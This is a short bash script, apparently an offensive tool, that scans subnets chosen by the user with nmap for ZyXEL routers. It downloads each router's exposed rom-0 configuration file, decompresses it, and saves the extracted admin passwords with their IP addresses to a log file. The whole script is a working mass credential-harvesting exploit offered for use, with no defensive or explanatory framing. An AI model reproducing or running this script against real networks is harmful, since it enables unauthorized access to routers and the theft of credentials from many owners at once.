#!/bin/bash #nmap, wget, and decompress utility are required #Don't generate error message and don't kill utility decompress #Ream more here http://kb.parallels.com/en/4611 export MALLOC_CHECK_=0 clear if [ ! -f ./decompress ]; then echo -e "Utility decompress not found, first you must download and install it" echo -e "http://git.kopf-tisch.de/?p=zyxel-revert;a=snapshot;h=779bfd51d39f4822baac776377a462f8af17ebb9;sf=tgz" echo -e "Unpack the tarball and install it with the "make" command, then copy it to $(pwd)\n"; exit fi echo -n "Enter subnets as they're known by nmap e.g 1.0.128-255.0-255 : " read subnet /usr/bin/nmap -p80 -n -sV -oG - $subnet | grep ZyXEL | cut -d " " -f2 > IP_ZyXEL_list while read line do ip=$(echo -e "$line") /usr/bin/wget -q http://$ip/rom-0 > /dev/null ./decompress rom-0 > /dev/null echo "$ip: $(/usr/bin/strings ./rom-0.decomp | head -1)" | tee -a passwords.log /usr/bin/rm rom-0 /usr/bin/rm rom-0.decomp done < IP_ZyXEL_list /usr/bin/rm ./IP_ZyXEL_list if [ -f ./passwords.log ]; then echo -e "\nUsername is admin, passwords were saved to the $(pwd)/passwords.logs\n" fi